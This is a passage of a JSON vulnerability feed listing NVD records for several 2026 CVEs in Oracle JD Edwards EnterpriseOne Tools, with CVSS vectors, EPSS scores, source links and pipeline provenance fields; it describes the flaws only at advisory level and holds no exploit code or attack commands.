CVE-2026-91316","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91316","type":"primary","publishedAt":"2026-10-20T22:20:33.517Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91316&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91316, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91315","cveId":"CVE-2026-91315","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:33.397Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91315","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00159,"percentile":0.04979,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91315&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91315","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91315","type":"primary","publishedAt":"2026-10-20T22:20:33.397Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91315&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91315, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91314","cveId":"CVE-2026-91314","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:33.257Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91314","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00124,"percentile":0.02124,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91314&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91314","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91314","type":"primary","publishedAt":"2026-10-20T22:20:33.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91314&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91314, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91313","cveId":"CVE-2026-91313","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:33.147Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91313","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00376,"percentile":0.31313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91313&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91313","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91313","type":"primary","publishedAt":"2026-10-20T22:20:33.147Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91313&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91313, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91311","cveId":"CVE-2026-91311","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:32.923Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91311","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00151,"percentile":0.04192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91311&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91311","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91311","type":"primary","publishedAt":"2026-10-20T22:20:32.923Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91311&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91311, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91310","cveId":"CVE-2026-91310","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation SEC).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation SEC).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with network access via JDENET to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:32.803Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91310","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00328,"percentile":0.25721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91310&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91310","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91310","type":"primary","publishedAt":"2026-10-20T22:20:32.803Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91310&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91310, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91308","cveId":"CVE-2026-91308","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:32.580Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91308","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00303,"percentile":0.22775,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91308&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91308","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91308","type":"primary","publishedAt":"2026-10-20T22:20:32.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91308&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91308, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91307","cveId":"CVE-2026-91307","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all JD Edwards EnterpriseOne Tools accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:32.470Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91307","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00303,"percentile":0.22775,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91307&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91307","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91307","type":"primary","publishedAt":"2026-10-20T22:20:32.470Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91307&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91307, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91306","cveId":"CVE-2026-91306","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:32.357Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91306","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00118,"percentile":0.0171,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91306&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91306","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91306","type":"primary","publishedAt":"2026-10-20T22:20:32.357Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-91306&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-91306, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-91304","cveId":"CVE-2026-91304","aliases":[],"kind":"vulnerability","title":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).","summary":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the JD Edwards EnterpriseOne Tools product of Oracle JD Edwards (component: Installation Security).  Supported versions that are affected are 9.2.0.0-9.2.26.5. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where JD Edwards EnterpriseOne Tools executes to compromise JD Edwards EnterpriseOne Tools.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of JD Edwards EnterpriseOne Tools. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:20:32.130Z","updatedAt":"2026-10-21T18:44:40.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-91304","asOf":"2026-10-21T18:44:40.020Z"},"epss":{"probability":0.00124,"percentile":0.02123,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-91304&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-91304","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-91304","type":"primary","publishedAt":"2026-10-20T22:20:32.130Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 